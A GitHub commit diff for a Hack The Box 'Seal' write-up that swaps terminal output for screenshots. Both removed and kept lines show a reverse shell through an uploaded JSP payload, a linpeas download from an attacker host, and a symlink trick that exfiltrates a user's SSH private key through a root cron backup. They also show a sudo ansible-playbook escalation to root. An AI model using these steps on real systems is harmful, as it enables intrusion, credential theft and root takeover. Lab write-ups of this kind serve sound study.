Skip to content

Commit 5291d42

Browse files
sadeli413sadeli413
authored and
sadeli413
committed
More seal screenshots
1 parent cc1a1b2 commit 5291d42

9 files changed

+20
-71
lines changed

seal/README.md

+20-71
Original file line numberDiff line numberDiff line change
@@ -210,34 +210,28 @@ To bypass this, intecept the war upload request to `/manager/status/..;/html` us
210210
Go back to `https://seal.htb/manager/status/..;/html` to verify the successful payload upload.
211211
![success](screenshots/success.png)
212212

213-
Start a listener with `nc -lvnp 1337` and then visit https://seal.htb/payload/lyibvpiewin.jsp in the web browser to abuse code execution.
213+
Start a listener with `nc -lvnp 1337` and then visit https://seal.htb/payload/ in the web browser to abuse code execution.
214+
![revshell](screenshots/revshell.png)
214215

215216
Upgrade the shell with
216217
```
217218
python3 -c "__import__('pty').spawn('/bin/bash')"
218219
Ctrl+Z
219220
stty -echo raw
220221
fg
221-
export TERM=linux
222+
export TERM=xterm
223+
stty rows 38 columns 155
222224
```
223225

224226
Run linpeas
225-
```
226-
sadeli@attacker: ~$ python3 -m http.server 8000
227-
tomcat@seal:/var/lib/tomcat9$ cd /tmp
228-
tomcat@seal:/tmp$ wget http://attacker_ip:8000/linpeas.sh
229-
tomcat@seal:/tmp$ chmod +x linpeas.sh
230-
tomcat@seal:/tmp$ ./linpeas.sh | tee linpeas.txt
231-
tomcat@seal:/tmp$ less -r /tmp/linpeas.txt
232-
```
227+
![wget linpeas](screenshots/wget_linpeas.png)
233228

234-
There appears to be two cron jobs running as root:
235-
```
236-
root 27938 0.0 0.0 8356 3344 ? S 06:51 0:00 _ /usr/sbin/CRON -f
237-
root 27939 0.0 0.0 2608 600 ? Ss 06:51 0:00 _ /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
238-
```
229+
There appears to be a cron job running as root. It is running the program `/usr/bin/ansible-playbook /opt/backups/playbook/run.yml` as the user *luis*.
230+
![cron](screenshots/cron.png)
239231

240232
Inspect the contents of /opt/backups/playbook/run.yml
233+
234+
This ansible playbook makes a backup up of `/var/lib/tomcat9/webapps/ROOT/admin/dashboard` and saves it to `/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz`. According to the [ansible documentation](https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html), the flag `copy_links=yes` will "Copy symlinks as the item that they point to (the referent) is copied, rather than the symlink".
241235
```
242236
tomcat@seal:/tmp$ cat /opt/backups/playbook/run.yml
243237
- hosts: localhost
@@ -255,7 +249,7 @@ tomcat@seal:/tmp$ cat /opt/backups/playbook/run.yml
255249
tomcat@seal:/tmp$
256250
```
257251

258-
This ansible playbook makes a backup up of `/var/lib/tomcat9/webapps/ROOT/admin/dashboard` and saves it to `/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz` while preserving symlinks. View the contents of the dashboard. Everyone has full write access to the uploads directory.
252+
Visit the directory `/var/lib/tomcat9/webapps/ROOT/admin/dashboard` to see what the playbook is making a copy of. Note that the directory `uploads` has full write permissions, which means anyone can attatch a symlink to it.
259253
```
260254
tomcat@seal:/tmp$ cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard
261255
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -la
@@ -271,68 +265,23 @@ drwxrwxrwx 2 root root 4096 Oct 14 07:03 uploads
271265
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$
272266
```
273267

274-
Run the command `ln -sf /home/luis/.ssh /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads` and wait for the cron job to make the backup.
268+
To make a symlink from luis's `.ssh` directory to the `uploads` directory, run the command
275269
```
276-
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ cd uploads
277-
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ls -la
278-
total 8
279-
drwxrwxrwx 2 root root 4096 Oct 14 07:03 .
280-
drwxr-xr-x 7 root root 4096 May 7 09:26 ..
281-
lrwxrwxrwx 1 tomcat tomcat 16 Oct 14 07:03 .ssh -> /home/luis/.ssh/
282-
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$
270+
ln -sf /home/luis/.ssh /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
283271
```
272+
and wait for the cron job to make the backup.
273+
![symlink](screenshots/symlink.png)
284274

285-
Copy and extract the archive
286-
```
287-
tomcat@seal:/tmp$ ls /opt/backups/archives/
288-
backup-2021-10-14-07:51:32.gz backup-2021-10-14-07:53:32.gz
289-
tomcat@seal:/tmp$ cp /opt/backups/archives/backup-2021-10-14-07:53:32.gz /tmp/bak.gz
290-
tomcat@seal:/tmp$ gzip -d bak.gz
291-
tomcat@seal:/tmp$ tar -xvf bak
292-
```
275+
Since the ansible playbook saves the backup to the `/opt/backups/archives/` directory, the .gz file should be located there. It appears that there are new backups every minute. Download the most recent archive, which should contain the archived directory `/home/luis/.ssh` under the uploads. This reveals the archived `dashboard` with luis's ssh key.
276+
![backups](screenshots/backups.png)
293277

294-
This reveals the archived `dashboard` with luis's ssh key
295-
```
296-
tomcat@seal:/tmp$ cd dashboard/uploads/.ssh/
297-
tomcat@seal:/tmp/dashboard/uploads/.ssh$ ssh -i id_rsa [email protected]
298-
Could not create directory '/.ssh'.
299-
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
300-
ECDSA key fingerprint is SHA256:YTRJC++A+0ww97kJGc5DWAsnI9iusyCE4Nt9fomhxdA.
301-
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
302-
luis@seal:~$
303-
```
278+
Use `id_rsa` to log in as luis.
279+
![luils](screenshots/luis.png)
304280

305281
## Privilege Escalation and root.txt
306282

307283
View programs luis can run as root. luis may run `/usr/bin/ansible-playbook *` as root without a password.
308-
```
309-
luis@seal:~$ sudo -l
310-
Matching Defaults entries for luis on seal:
311-
env_reset, mail_badpass,
312-
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
313-
314-
User luis may run the following commands on seal:
315-
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
316-
luis@seal:~$
317-
```
284+
![sudo list](screenshots/sudo_list.png)
318285

319286
Follow the gtfobins guide for privilege escalation https://gtfobins.github.io/gtfobins/ansible-playbook/#sudo
320-
```
321-
luis@seal:~$ TF=$(mktemp)
322-
luis@seal:~$ echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
323-
luis@seal:~$ sudo ansible-playbook $TF
324-
[WARNING]: provided hosts list is empty, only localhost is available. Note that
325-
the implicit localhost does not match 'all'
326-
327-
PLAY [localhost] ***************************************************************
328-
329-
TASK [Gathering Facts] *********************************************************
330-
ok: [localhost]
331-
332-
TASK [shell] *******************************************************************
333-
# whoami
334-
root
335-
# id
336-
uid=0(root) gid=0(root) groups=0(root)
337-
#
338-
```
287+
![gtfobins](screenshots/gtfobins.png)

seal/screenshots/backups.png

149 KB
Loading

seal/screenshots/cron.png

22 KB
Loading

seal/screenshots/gtfobins.png

50.5 KB
Loading

seal/screenshots/luis.png

153 KB
Loading

seal/screenshots/revshell.png

78.7 KB
Loading

seal/screenshots/sudo_list.png

28.4 KB
Loading

seal/screenshots/symlink.png

40.3 KB
Loading

seal/screenshots/wget_linpeas.png

90.2 KB
Loading

0 commit comments

Comments
 (0)